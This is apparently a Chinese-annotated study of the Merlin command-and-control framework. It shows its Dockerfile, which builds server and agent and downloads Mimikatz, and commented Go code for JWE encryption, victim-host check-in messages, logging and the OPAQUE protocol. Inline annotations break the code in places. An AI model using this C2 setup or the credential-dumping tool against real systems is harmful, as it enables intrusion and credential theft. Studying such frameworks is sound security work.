\# Build the Docker image first
\# > sudo docker build -t merlin . 创建Merlin项目
\# To start the Merlin Server, run 在443端口起container,映射日志目录,将c2运行的日志放在merlin-server-log和merlin-agent-logs文件夹中
\# > sudo docker run -it -p 443:443 -v ~/merlin-server-log:/opt/merlin/data/log -v ~/merlin-agent-logs:/opt/merlin/data/agents merlin:latest
\# Update APT 更新apt及cmake需要的apt-transport-https及windows平台c/c++需要的gcc-mingw-w64编译器
RUN apt-get update
RUN apt-get upgrade -y
RUN apt-get install -y apt-transport-https vim gcc-mingw-w64 unzip
\# Install Microsoft package signing key 注册 Microsoft 密钥和源
RUN wget --quiet -O - https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.asc.gpg 安装microsoft公共库秘钥
RUN mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/
RUN wget --quiet https://packages.microsoft.com/config/debian/10/prod.list
RUN mv prod.list /etc/apt/sources.list.d/microsoft-prod.list
RUN chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg
RUN chown root:root /etc/apt/sources.list.d/microsoft-prod.list
\# Install Microsoft .NET Core 2.1 SDK 安装 .NET Core SDK
RUN apt-get update
RUN apt-get install -y dotnet-sdk-2.1
\# Clone Merlin Server 下载merlin服务端项目源码
WORKDIR /opt
RUN git clone --recurse-submodules https://github.com/Ne0nd0g/merlin
WORKDIR /opt/merlin
RUN go mod download
\# Clone Merlin Agent 下载merlin客户端项目源码
WORKDIR /opt/
RUN git clone https://github.com/Ne0nd0g/merlin-agent
WORKDIR /opt/merlin-agent
RUN go mod download
RUN make all
\# Clone Merlin Agent DLL 下载merlin客户端Dll文件源码
WORKDIR /opt/
RUN git clone https://github.com/Ne0nd0g/merlin-agent-dll
WORKDIR /opt/merlin-agent-dll
RUN go mod download
RUN make
\# Build SharpGen 编译.net 加密项目模块
WORKDIR /opt/merlin/data/src/cobbr/SharpGen
RUN dotnet build -c release
\# Download Mimikatz 下载mimikatz
WORKDIR /opt/merlin/data/src/
RUN wget https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz\_trunk.zip
RUN unzip mimikatz\_trunk.zip -d mimikatz
RUN rm /opt/merlin/data/src/mimikatz\_trunk.zip
\# Port that the agent will communicate with the server on 指定于外界交互的443端口
EXPOSE 443
WORKDIR /opt/merlin 运行main.go入口文件
CMD \["go", "run", "main.go"\]
2022/01/05 23:15 <DIR> ..
2022/01/05 23:15 56 .gitattributes
2022/01/05 23:15 <DIR> .github
2022/01/05 23:15 51 .gitignore
2022/01/05 23:15 114 .gitmodules
2022/01/05 23:15 <DIR> data 存放项目启动后存放的日志、数据库、agent向server传输的文件及日志、tls证书文件等文件
2022/01/05 23:15 1,897 Dockerfile
2022/01/05 23:15 <DIR> docs 项目各项模块介绍及说明文档
2022/01/05 23:15 1,225 go.mod
2022/01/05 23:15 34,280 go.sum
2022/01/05 23:15 33,071 LICENSE
2022/01/05 23:15 2,093 main.go 项目入口文件
2022/01/05 23:15 818 Makefile
2022/01/05 23:15 <DIR> pkg 项目核心库文件
2022/01/05 23:15 6,058 README.MD
10 个文件 79,663 字节
6 个目录 24,150,183,936 可用字节
2022/01/05 23:15 <DIR> .
2022/01/05 23:15 <DIR> ..
2022/01/05 23:15 <DIR> agents 存放agent向server传输的文件及日志
2022/01/05 23:15 <DIR> log 存放server端日志文件
2022/01/05 23:15 <DIR> modules 存放json格式模块文件(类似插件,包含第三方文件github地址及)
2022/01/05 23:15 484 README.MD
2022/01/05 23:15 <DIR> src 存放第三方工具源码
2022/01/05 23:15 <DIR> x509 存放cert证书
1 个文件 484 字节
7 个目录 24,152,489,984 可用字节
2022/01/05 23:15 <DIR> ..
2022/01/05 23:15 <DIR> agent 存放客户端rst文档(包含agent端描述文档、dll描述文档、使用make自行编译文档)
2022/01/05 23:15 30,704 CHANGELOG.MD
2022/01/05 23:15 5,806 conf.py Sphinx配置文件
2022/01/05 23:15 3,272 CONTRIBUTING.MD
2022/01/05 23:15 <DIR> images 文档中涉及的图片
2022/01/05 23:15 1,672 index.rst 描述文件索引
2022/01/05 23:15 599 ISSUE\_TEMPLATE.md
2022/01/05 23:15 787 make.bat 由Sphinx quickstart生成
2022/01/05 23:15 598 Makefile 由Sphinx quickstart生成
2022/01/05 23:15 <DIR> misc 杂项文档
2022/01/05 23:15 <DIR> modules 模块描述rst文档(模块是预存的agent将执行的一系列操作的json描述文件)
2022/01/05 23:15 603 PULL\_REQUEST\_TEMPLATE.md
2022/01/05 23:15 <DIR> quickStart 存放快速使用rst文档(包含客户端使用文档、服务端使用文档、和答疑文档)
2022/01/05 23:15 <DIR> server 存放服务端rst文档(tls证书描述文件、服务端各项目录描述文档【agent、listener、main、modules】)
2022/01/05 23:15 <DIR> \_build 各文档生成过程中的编译文件树文档
8 个文件 44,041 字节
9 个目录 22,375,784,448 可用字节
Sphinx是一个工具,她能够轻易地创建文档,此处为sphinx-build 脚本构建了一个Sphinx文档集
2022/01/05 23:15 <DIR> ..
2022/01/05 23:15 <DIR> agents
2022/01/05 23:15 <DIR> api
2022/01/05 23:15 <DIR> cli
2022/01/05 23:15 <DIR> core
2022/01/05 23:15 <DIR> handlers
2022/01/05 23:15 <DIR> jobs
2022/01/05 23:15 <DIR> listeners
2022/01/05 23:15 <DIR> logging
2022/01/05 23:15 1,008 merlin.go 定义了包名、版本、和编译参数为非发布(norealease)
2022/01/05 23:15 <DIR> messages
2022/01/05 23:15 <DIR> modules
2022/01/05 23:15 <DIR> opaque
2022/01/05 23:15 <DIR> pwnboard
2022/01/05 23:15 129 README.MD
2022/01/05 23:15 <DIR> server
2022/01/05 23:15 <DIR> servers
2022/01/05 23:15 <DIR> util
2 个文件 1,137 字节
17 个目录 22,401,064,960 可用字节
// Merlin is a post-exploitation command and control framework.
// This file is part of Merlin.
// Copyright (C) 2021 Russel Van Tuyl
// Merlin is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
// Merlin is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Merlin. If not, see <http://www.gnu.org/licenses/>.
package merlin 声明了包名
// Version is a constant variable containing the version number for the Merlin package
const Version \= "1.2.0" 定义了静态变量版本号
// Build is the unique number based off the git commit in which it is compiled against
var Build \= "nonRelease" 声明了编译变量为非发布
包括是否开启调试模式、当前项目路径、是否输出详细信息、随机生成任意长度随机字符算法RandStringBytesMaskImprSrc、jwe加解密算法
// Merlin is a post-exploitation command and control framework.
// This file is part of Merlin.
// Copyright (C) 2021 Russel Van Tuyl
// Merlin is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
// Merlin is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Merlin. If not, see <http://www.gnu.org/licenses/>.
package core
import (
// Standard 引用的官方库文件
"bytes"
"crypto/rsa"
"encoding/gob"
"fmt"
"math/rand"
"os"
"time"
// 3rd Party 引用第三方库
"gopkg.in/square/go-jose.v2"
// Merlin
"github.com/Ne0nd0g/merlin/pkg/messages" //引用本项目messages
)
// Debug puts Merlin into debug mode and displays debug messages
var Debug \= false //关闭调试模式
// Verbose puts Merlin into verbose mode and displays verbose messages
var Verbose \= false //关闭详细信息输出
// CurrentDir is the current directory where Merlin was executed from
var CurrentDir, \_ \= os.Getwd() //获取当前路径
var src \= rand.NewSource(time.Now().UnixNano()) //使用当前时间戳作为随机数种子
// Constants
const (
letterIdxBits \= 6 // 6 bits to represent a letter index
letterIdxMask \= 1<<letterIdxBits \- 1 // All 1-bits, as many as letterIdxBits letteridmask = letterIdxBits右移一位-1即63
letterIdxMax \= 63 / letterIdxBits // # of letter indices fitting in 63 bits 63/6=10
letterBytes \= "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
)
// RandStringBytesMaskImprSrc generates and returns a //random string of n characters long
func RandStringBytesMaskImprSrc(n int) string { //生成n个字节长度的随机字符
// http://stackoverflow.com/questions/22892120/how-to-generate-a-random-string-of-a-fixed-length-in-golang
b :\= make(\[\]byte, n) //b为长度n的byte 数组
// A src.Int63() generates 63 random bits, enough for letterIdxMax characters!
//src.Int63() 生成 63 个随机位,足以容纳 letterIdxMax 个字符
//Int63n从默认Source返回\[0,n)中的非负伪随机数作为int64
//int64是64位有符号整数类型。这意味着它具有1个符号位和63个有效位。这意味着任何返回非负 int64的东西都会产生63位数据(第64位(符号位)将始终具有相同的值)
for i, cache, remain :\= n\-1, src.Int63(), letterIdxMax; i \>= 0; { //i位n个字符数组下标,cache为随机数,remain=10
if remain \== 0 {
cache, remain \= src.Int63(), letterIdxMax // cache为19位数字
}
if idx :\= int(cache & letterIdxMask); idx < len(letterBytes) { //按位与生成63以内数字,且数字在随机字符集下标内,为随机字符数组对应下标字符赋值
b\[i\] \= letterBytes\[idx\]
i\--
}
cache \>>= letterIdxBits //cache = cache>>6 cache向右位移6位,用新的6位随机数去相与,共64位
remain\-- //10次用尽生成新的随机数
}
return string(b)
}
// DecryptJWE takes provided JWE string and decrypts it using the per-agent key 对jwe秘钥进行解密
func DecryptJWE(jweString string, key \[\]byte) (messages.Base, error) {
var m messages.Base
/\* type Base struct {
Version float32 \`json:"version"\`
ID uuid.UUID \`json:"id"\`
Type int \`json:"type"\`
Payload interface{} \`json:"payload,omitempty"\`
Padding string \`json:"padding"\`
Token string \`json:"token,omitempty"\`
}
message.base struct结构
\*/
// Parse JWE string back into JSONWebEncryption
jwe, errObject :\= jose.ParseEncrypted(jweString) //go-jose加密解密包,解析(反序列化?)输入的jwe加密字符串
if errObject != nil {
return m, fmt.Errorf("there was an error parseing the JWE string into a JSONWebEncryption object:\\r\\n%s", errObject)
}
// Decrypt the JWE
jweMessage, errDecrypt :\= jwe.Decrypt(key) //对解析过的反序列化对象串根据输入的key进行解密
if errDecrypt != nil {
return m, fmt.Errorf("there was an error decrypting the JWE string:\\r\\n%s", errDecrypt.Error())
}
// Decode the JWE payload into a messages.Base struct
errDecode :\= gob.NewDecoder(bytes.NewReader(jweMessage)).Decode(&m) //解码jweMessage并写入变量m中
/\*
gob包("encoding/gob")管理gob流——在encoder(编码器,也就是发送器)和decoder(解码器,也就是接受器)之间交换的字节流数据(gob 就是 go binary的缩写)。一般用于传递远端程序调用(RPC)的参数和结果。
要使用gob,通过调用NewEncoder()方法先创建一个编码器,并向其提供一系列数据;然后在接收端,通过调用NewDecoder()方法创建一个解码器,它从数据流中恢复数据并将它们填写进本地变量里
\*/
if errDecode != nil {
return m, fmt.Errorf("there was an error decoding JWE payload message sent by an agent:\\r\\n%s", errDecode.Error())
}
return m, nil //返回message.base结构体
}
// GetJWESymetric takes an input, typically a gob encoded messages.Base, and returns a compact serialized JWE using the
// provided input key jwe对称加密函数
func GetJWESymetric(data \[\]byte, key \[\]byte) (string, error) {
// Keys used with AES GCM must follow the constraints in Section 8.3 of
// \[NIST.800-38D\], which states: "The total number of invocations of the
// authenticated encryption function shall not exceed 2^32, including
// all IV lengths and all instances of the authenticated encryption
// function with the given key". In accordance with this rule, AES GCM
// MUST NOT be used with the same key value more than 2^32 times. == 4294967296
// TODO ensure no more than 4294967295 JWE's are created using the same key
// 与 AES GCM 一起使用的密钥必须遵循 \[NIST.800-38D\] 的第 8.3 节中的约束,其中指出:“经过身份验证的加密函数的调用总数不得超过 2^32,包括所有 IV 长度和所有 具有给定密钥的经过身份验证的加密函数的实例”。 根据此规则,AES GCM 不得与相同的密钥值一起使用超过 2^32 次。 == 4294967296
// TODO 确保使用相同的密钥创建不超过 4294967295 个 JWE
//balabala好多废话,大概就是相同key可加密出4294967295不同的jwe
encrypter, encErr :\= jose.NewEncrypter(jose.A256GCM,
jose.Recipient{
Algorithm: jose.PBES2\_HS512\_A256KW, // Creates a per message key encrypted with the passed in key
//Algorithm: jose.DIRECT, // Doesn't create a per message key
PBES2Count: 500000,
Key: key},
nil)
/\* type Recipient ¶
type Recipient struct {
Algorithm KeyAlgorithm
Key interface{}
KeyID string
PBES2Count int
PBES2Salt \[\]byte
}
PBES2Count 和 PBES2Salt 对应于基于密码的加密算法 PBES2-HS256+A128KW、PBES2-HS384+A192KW 和 PBES2-HS512+A256KW 中使用的“p2c”和“p2s”标头。
如果未提供它们,则将使用安全默认值 100000 进行计数,并将生成 128 位随机盐。
\*/
if encErr != nil {
return "", fmt.Errorf("there was an error creating the JWE encryptor:\\r\\n%s", encErr)
}
jwe, errJWE :\= encrypter.Encrypt(data)
if errJWE != nil {
return "", fmt.Errorf("there was an error encrypting the Authentication JSON object to a JWE object:\\r\\n%s", errJWE.Error())
}
serialized, errSerialized :\= jwe.CompactSerialize()
if errSerialized != nil {
return "", fmt.Errorf("there was an error serializing the JWE in compact format:\\r\\n%s", errSerialized.Error())
}
// Parse it to make sure there were no errors serializing it
\_, errJWE \= jose.ParseEncrypted(serialized)
if errJWE != nil {
return "", fmt.Errorf("there was an error parsing the encrypted JWE:\\r\\n%s", errJWE.Error())
}
return serialized, nil
}
// GetJWEAsymetric takes an input, typically a gob encoded messages.Base, and returns a compact serialized JWE using the
// provided input RSA public key jwe非对称加密函数
func GetJWEAsymetric(data \[\]byte, key \*rsa.PublicKey) (string, error) {
// TODO change key algorithm to ECDH
encrypter, encErr :\= jose.NewEncrypter(jose.A256GCM, jose.Recipient{Algorithm: jose.RSA\_OAEP, Key: key}, nil)
调用jose创建一个加密器
jose.A256GCM,即enc表示的是使用的加密分组是多少位,并采用哪种方式,enc\=A256GCM,表示使用256位分组的GCM加密方式
加密明文内容的rsa算法和公钥
type Recipient struct {
Algorithm KeyAlgorithm
Key interface{}
KeyID string
PBES2Count int
PBES2Salt \[\]byte
}
if encErr != nil {
return "", fmt.Errorf("there was an error creating the agent encryptor:\\r\\n%s", encErr)
}
jwe, errJWE :\= encrypter.Encrypt(data) 对数据进行加密生成jwe对象
if errJWE != nil {
return "", fmt.Errorf("there was an error encrypting the data into a JWE object:\\r\\n%s", errJWE.Error())
}
serialized, errSerialized :\= jwe.CompactSerialize() 对加密后的jwe对象进行序列化
if errSerialized != nil {
return "", fmt.Errorf("there was an error serializing the JWE in compact format:\\r\\n%s", errSerialized.Error())
}
// Parse it to make sure there were no errors serializing it
\_, errJWE \= jose.ParseEncrypted(serialized) 判断是否可以以序列化格式解析加密后的消息
if errJWE != nil {
return "", fmt.Errorf("there was an error parsing the encrypted JWE:\\r\\n%s", errJWE.Error())
}
return serialized, nil 判断可以解析成功后返回序列化后的jwe加密对象
}
jwe的5个组成部分:
JWE header: 描述用于创建jwe加密密钥和jwe密文的加密操作,类似于jws中的header。参数不一一描述,详情请见jwe header参数
JWE Encrypted Key:用来加密文本内容所采用的算法。
JWE initialization vector: 加密明文时使用的初始化向量值,有些加密方式需要额外的或者随机的数据。这个参数是可选的。
JWE Ciphertext:明文加密后产生的密文值。
JWE Authentication Tag:数字认证标签。
//一个完整的jwe json结构 { "protected":"jwe受保护的header头", "unprotected":"JWE Shared Unprotected Header数据", "header":"", "encrypted\_key":"密钥加密后数据 ", "aad":"额外的认证数据", "iv":"同上的 JWE initialization vector", "ciphertext":"同上的JWE Ciphertext", "tag":"同上的JWE Authentication Tag" }
jwe创建流程:
Base64.encode(header)+"."+Base64.encode(encrypted\_key)+","+Base64.encode(iv)+"."+Base64.encode(ciphertext)+"."Base64.encode(tag)
JWS认证图
JWE认证图
定义agent传递的一系列信息的结构体
gob 一般性调用编码解码
func senMsg()error {
fmt.Print("开始执行编码(发送端)")
enc := gob.NewEncoder(&network)
sendMsg:=MsgData{3, 4, 5, "jiangzhou"}
fmt.Println("原始数据:",sendMsg)
err := enc.Encode(&sendMsg)
fmt.Println("传递的编码数据为:",network)
return err
}
func revMsg()error {
var revData MsgData
dec:=gob.NewDecoder(&network)
err:= dec.Decode(&revData) //传递参数必须为 地址
fmt.Println("解码之后的数据为:",revData)
return err
}
编码的数据中有空接口类型,传递时赋值的空接口为:基本类型(int、float、string)、切片时,可以不进行注册
fmt.Print("开始执行编码(发送端)")
enc := gob.NewEncoder(&network)
s:=make(\[\]string,0)
s=append(s, "hello")
//sendMsg:=MsgData{3, 4, 5, "jiangzhou",Msg{10001,"hello"}}
//sendMsg:=MsgData{3, 4, 5, "jiangzhou",66.66}
sendMsg:=MsgData{3, 4, 5, "jiangzhou",s}
编码的数据中有空接口类型,传递时赋值的空接口为:map、struct时,必须进行注册。Register和RegisterName解决的主要问题是:当编解码中有一个字段是interface{}(interface{}的赋值为map、结构体时)的时候需要对interface{}的可能产生的类型进行注册
func senMsg()error {
fmt.Print("开始执行编码(发送端)")
enc := gob.NewEncoder(&network)
m:=make(map\[int\]string)
m\[10001\]="hello"
m\[10002\]="jiangzhou"
gob.Register(map\[int\]string{}) //TODO:进行了注册
sendMsg:=MsgData{3, 4, 5, "jiangzhou",m}
fmt.Println("原始数据:",sendMsg)
err := enc.Encode(&sendMsg)
fmt.Println("传递的编码数据为:",network)
return err
}
// Merlin is a post-exploitation command and control framework.
// This file is part of Merlin.
// Copyright (C) 2021 Russel Van Tuyl
// Merlin is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
// Merlin is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Merlin. If not, see <http://www.gnu.org/licenses/>.
package messages
import (
// Standard
"crypto/rsa"
"encoding/gob" gob包用于二进制流传递参数(值),常用于远程调用传递值(RPC)
"fmt"
// 3rd Party
"github.com/satori/go.uuid"
)
// init registers message types with gob that are an interface for Base.Payload
func init() {
gob.Register(KeyExchange{})
gob.Register(AgentInfo{})
gob.Register(SysInfo{})
}
const (
// To Server
// CHECKIN is used by the Agent to identify that it is checking in with the server
CHECKIN = 1 // StatusCheckIn 被agent用于标识他正在与server进行检入
// OPAQUE is used to denote that embedded message contains an opaque structure
OPAQUE = 2 用于标识传递的(嵌入的)消息包含不透明的结构体
// JOBS is used to denote that the embedded message contains a list of job structures
JOBS = 3 用来标识传递的(嵌入的)包含一份job结构的结构体
// KEYEXCHANGE is used to denote that embedded message contains a key exchange structure
KEYEXCHANGE = 4 用于标识传递的(嵌入的)包含一个交换秘钥的结构体
// To Agent
// IDLE is used to notify the Agent that server has no tasks and that the Agent should idle
IDLE = 10 用于通知agent没有任务,应该空闲
)
远控使用http协议沟通,传递的基础结构体如下:版本、id、类型、攻击载荷、字节填充、token
// Base is the base JSON Object for HTTP POST payloads
type Base struct {
Version float32 \`json:"version"\`
ID uuid.UUID \`json:"id"\`
Type int \`json:"type"\`
Payload interface{} \`json:"payload,omitempty"\`
Padding string \`json:"padding"\`
Token string \`json:"token,omitempty"\`
}
// KeyExchange is a JSON payload used to exchange public keys for encryption
KeyExchange结构体包含一个rsa公钥
type KeyExchange struct {
PublicKey rsa.PublicKey \`json:"publickey"\`
}
// SysInfo is a JSON payload containing information about the system where the agent is running
返回的受害主机的信息结构体(平台信息、结构(?)、受害主机用户名、guid、主机名、进程名、进程id、ip信息、域名)
type SysInfo struct {
Platform string \`json:"platform,omitempty"\`
Architecture string \`json:"architecture,omitempty"\`
UserName string \`json:"username,omitempty"\`
UserGUID string \`json:"userguid,omitempty"\`
HostName string \`json:"hostname,omitempty"\`
Process string \`json:"process,omitempty"\`
Pid int \`json:"pid,omitempty"\`
Ips \[\]string \`json:"ips,omitempty"\`
Domain string \`json:"domain,omitempty"\`
}
// AgentInfo is a JSON payload containing information about the agent and its configuration
agent的信息结构体(agent版本、编译信息(?)、延时、最大填充字节数、最多重复数、准入校验失败标识符、歪曲(?)、proto信息(?)、agent被杀时间、ja3指纹)
type AgentInfo struct {
Version string \`json:"version,omitempty"\`
Build string \`json:"build,omitempty"\`
WaitTime string \`json:"waittime,omitempty"\`
PaddingMax int \`json:"paddingmax,omitempty"\`
MaxRetry int \`json:"maxretry,omitempty"\`
FailedCheckin int \`json:"failedcheckin,omitempty"\`
Skew int64 \`json:"skew,omitempty"\`
Proto string \`json:"proto,omitempty"\`
SysInfo SysInfo \`json:"sysinfo,omitempty"\`
KillDate int64 \`json:"killdate,omitempty"\`
JA3 string \`json:"ja3,omitempty"\`
}
// String returns the text representation of a message constant
根据传递的类型值返回类型的string信息
func String(messageType int) string {
switch messageType {
case KEYEXCHANGE:
return "KeyExchange"
case CHECKIN:
return "StatusCheckIn"
case JOBS:
return "Jobs"
case OPAQUE:
return "OPAQUE"
case IDLE:
return "Idle"
default:
return fmt.Sprintf("Invalid: %d", messageType)
}
}
// Merlin is a post-exploitation command and control framework.
// This file is part of Merlin.
// Copyright (C) 2021 Russel Van Tuyl
// Merlin is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
// Merlin is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Merlin. If not, see <http://www.gnu.org/licenses/>.
package logging
import (
// Standard
"fmt"
"os"
"path/filepath"
"time"
// 3rd Party
"github.com/fatih/color" 定义输出ascii字体颜色的包
// Merlin
"github.com/Ne0nd0g/merlin/pkg/core"
)
var serverLog \*os.File
func init() {
// Server Logging 检测项目根目录下是否存在/data/log/merlinServerLog.txt,如果没有则报错,紧接着调用os.MkdirAll创建目录并创建日志文件
if \_, err := os.Stat(filepath.Join(core.CurrentDir, "data", "log", "merlinServerLog.txt")); os.IsNotExist(err) {
errM := os.MkdirAll(filepath.Join(core.CurrentDir, "data", "log"), )
if errM != nil {
message("warn", "there was an error creating the log directory")
}
serverLog, errC := os.Create(filepath.Join(core.CurrentDir, "data", "log", "merlinServerLog.txt"))
if errC != nil {
message("warn", "there was an error creating the merlinServerLog.txt file")
return
}
// Change the file's permissions 修改日志文件权限为0600 ,owner只有读写权限
errChmod := os.Chmod(serverLog.Name(), 0600)
if errChmod != nil {
message("warn", fmt.Sprintf("there was an error changing the file permissions for the agent log:\\r\\n%s", errChmod.Error()))
}
if core.Debug { 如果是debug模式输入日志
message("debug", fmt.Sprintf("Created server log file at: %s\\\\data\\\\log\\\\merlinServerLog.txt", core.CurrentDir))
}
}
var errLog error
serverLog, errLog = os.OpenFile(filepath.Join(core.CurrentDir, "data", "log", "merlinServerLog.txt"), os.O\_APPEND|os.O\_WRONLY, 0600) 打开只写模式打开文件
if errLog != nil {
message("warn", "there was an error with the Merlin Server log file")
message("warn", errLog.Error())
}
}
// Server writes a log entry into the server's log file
func Server(logMessage string) { 向日志写入时间和传入的日志信息
\_, err := serverLog.WriteString(fmt.Sprintf("\[%s\]%s\\r\\n", time.Now().UTC().Format(time.RFC3339), logMessage))
if err != nil {
message("warn", "there was an error writing to the Merlin Server log file")
message("warn", err.Error())
}
}
// Message is used to print a message to the command line
func message(level string, message string) { 根据传入的level等级向控制台输出不同颜色的调试信息
switch level {
case "info":
color.Cyan("\[i\]" + message)
case "note":
color.Yellow("\[-\]" + message)
case "warn":
color.Red("\[!\]" + message)
case "debug":
color.Red("\[DEBUG\]" + message)
case "success":
color.Green("\[+\]" + message)
default:
color.Red("\[\_-\_\]Invalid message level: " + message)
}
}
// TODO configure all message to be displayed on the CLI to be returned as errors and not written to the CLI here
opaque是一种非对称加密传输进行非明文传输密码进行身份校验的身份校验算法
参考文档
https://www.diglog.com/story/1042842.html
https://www.bilibili.com/read/cv10357653
OPAQUE是两个密码协议名称的组合:OPRF和PAKE
OPRF代表“遗忘伪随机函数”,这是一种协议,通过该协议,双方可以计算确定性的函数F(key,x),但输出看似随机的值。一方输入值x,另一方输入键,输入x的一方学习结果F(key,x),但不学习键,提供键的一方学不到任何东西。 (您可以在此处深入了解OPRF的数学方法:https://blog.cloudflare.com/privacy-pass-the-math/)
OPAQUE算法分为两个过程,注册和登录。
注册流程
(盗图自irtf)
注册流程发生在客户端C和服务器端S之间。这一过程要求S和C能够相互确认(就是说,用户要确认对方不是钓鱼网站,网站(如果有需要的话)要能确认用户身份),这也是OPAQUE唯一需要经认证的信道流程。
在开始时,C需要准备好口令password并生成一对密钥对\*creds。C对于每一个账户都应当生成新的密钥对。S需要预先准备好密钥对server\_private\_key和server\_public\_key。S可以对许多不同用户使用同一密钥对。
“密钥对”是一个词,指互相对应的公钥-私钥组成的一对密钥。
之后,C将口令随机化得到(r, M), 并将M发送至S。
S在收到请求后,需要生成OPRF私钥oprf\_key,然后使用oprf\_key处理M得到Z,并将Z返回。
C使用返回的Z,明文口令password和第一步得到的r计算Y。之后,C将creds私钥用Y处理,得到经过加密的私钥,然后和明文的creds公钥一起返回至S。S将C的明文公钥,加密私钥和oprf\_key一同记录账户中,从而完成注册流程。
登录流程
(盗图自irtf)
登录的第一步,是C根据明文密码取得私钥并解密。
首先,C根据明文口令password计算(r, M),需要注意的是这里的(r, M)每次都是不同的。之后,C将M发送至S。
S使用M和oprf\_key得到Z,并将Z和加密私钥共同返回。
C使用Z,r,password计算Y。如果password正确,每次得到的Y应当是相同的。C使用Y解密加密私钥,从而将其恢复为明文私钥。
C仅使用密码重新得到私钥,从而进入登录的下一个环节。
之后,像传统的登录流程一样,C和S通过密钥对creds建立会话。会话成功建立从而登录流程结束。
当然,适用于OPAQUE的“下一步”和传统的流程并不完全相同,CFRG建议了包括3DH和SIGMA-I等在内的一些选项,而根据Tatiana Bradley的研究,TLS也是可用的。
整个流程中,S只接触了由口令随机化得到的M,却并没有接触明文口令,而M值每次都是不同的。C仅仅在登录时生成了creds,并将其加密后转交S存储。OPAQUE实现了在C端不存储私钥,而是在登录时根据口令恢复私钥;同时在S端不存储口令,而是存储OPRF私钥和加密的用户私钥。从而完成了aPAKE的要求。由于OPRF流程的使用,OPAQUE能够有效对抗预计算攻击,从而在服务器遭受入侵或泄露的情况下依然能保证用户凭据的安全。
Gopaque 在 Go 中实现了 OPAQUE 协议
API文档
https://pkg.go.dev/github.com/cretz/gopaque/gopaque
注册流程¶
OPAQUE 注册是从用户向服务器注册的用户开始的 3 条消息过程。用户需要的唯一输入是密码,注册后,服务器有信息来执行身份验证。
用户的步骤是:
1 - 使用用户 ID 创建一个 NewUserRegister
2 - 使用密码调用 Init 并将生成的 UserRegisterInit 发送到服务器
3 - 接收服务器的 ServerRegisterInit
4 - 使用服务器的 ServerRegisterInit 调用 Complete 并将生成的 UserRegisterComplete 发送到服务器
服务器的步骤是:
1 - 接收用户的 UserRegisterInit
2 - 使用私钥创建一个 NewServerRegister
3 - 使用用户的 UserRegisterInit 调用 Init 并将生成的 ServerRegisterInit 发送给用户
4 - 接收用户的 UserRegisterComplete
5 - 使用用户的 UserRegisterComplete 调用 Complete 并保存生成的 ServerRegisterComplete
认证流程¶
OPAQUE 身份验证旨在与密钥交换协议结合使用以对用户进行身份验证。Gopaque 支持外部密钥交换协议或嵌入到身份验证过程中的协议。流程的纯 OPAQUE 部分只是一个 2 条消息的过程,但使用密钥交换进行验证通常会添加第三条消息。以下步骤假设密钥交换嵌入在身份验证过程中,而不是在外部。
用户的步骤是:
1 - 创建一个带有嵌入式密钥交换的 NewUserAuth
2 - 使用密码调用 Init 并将生成的 UserAuthInit 发送到服务器
3 - 接收服务器的 ServerAuthComplete
4 - 使用服务器的 ServerAuthComplete 调用 Complete。生成的 UserAuthFinish 包含用户和服务器密钥信息。如果我们不使用嵌入式密钥交换,这将是最后一步。既然我们是,请获取生成的 UserAuthComplete 并将其发送到服务器。
服务器的步骤是:
1 - 接收用户的 UserAuthInit
2 - 创建一个带有嵌入式密钥交换的 NewServerAuth
3 - 使用用户的 UserAuthInit 和持久化的 ServerRegisterComplete 调用 Complete 并将生成的 ServerAuthComplete 发送给用户。如果我们不使用嵌入式密钥交换,这将是最后一步。
4 - 接收用户的 UserAuthComplete
5 - 使用用户的 UserAuthComplete 调用 Finish
// Merlin is a post-exploitation command and control framework.
// This file is part of Merlin.
// Copyright (C) 2021 Russel Van Tuyl
// Merlin is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
// Merlin is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Merlin. If not, see <http://www.gnu.org/licenses/>.
package opaque
import (
// Standard
"bytes"
"encoding/gob"
"fmt"
// 3rd Party
"github.com/cretz/gopaque/gopaque"
"github.com/fatih/color"
uuid "github.com/satori/go.uuid"
"go.dedis.ch/kyber/v3"
// Internal"
"github.com/Ne0nd0g/merlin/pkg/core"
)
// init registers message types with gob that are an interface for Base.Payload
func init() {
gob.Register(Opaque{})
}
const (
// RegInit is used to denote that the embedded payload contains data for the OPAQUE protocol Registration Initialization step
RegInit = 1
// RegComplete is used to denote that the embedded payload contains data for the OPAQUE protocol Registration Complete step
RegComplete = 2
// AuthInit is used to denote that the embedded payload contains data for the OPAQUE protocol Authorization Initialization step
AuthInit = 3
// AuthComplete is used to denote that the embedded payload contains data for the OPAQUE protocol Authorization Complete step
AuthComplete = 4
// ReRegister is used to instruct the Agent it needs to execute the OPAQUE Registration process with the server
ReRegister = 5
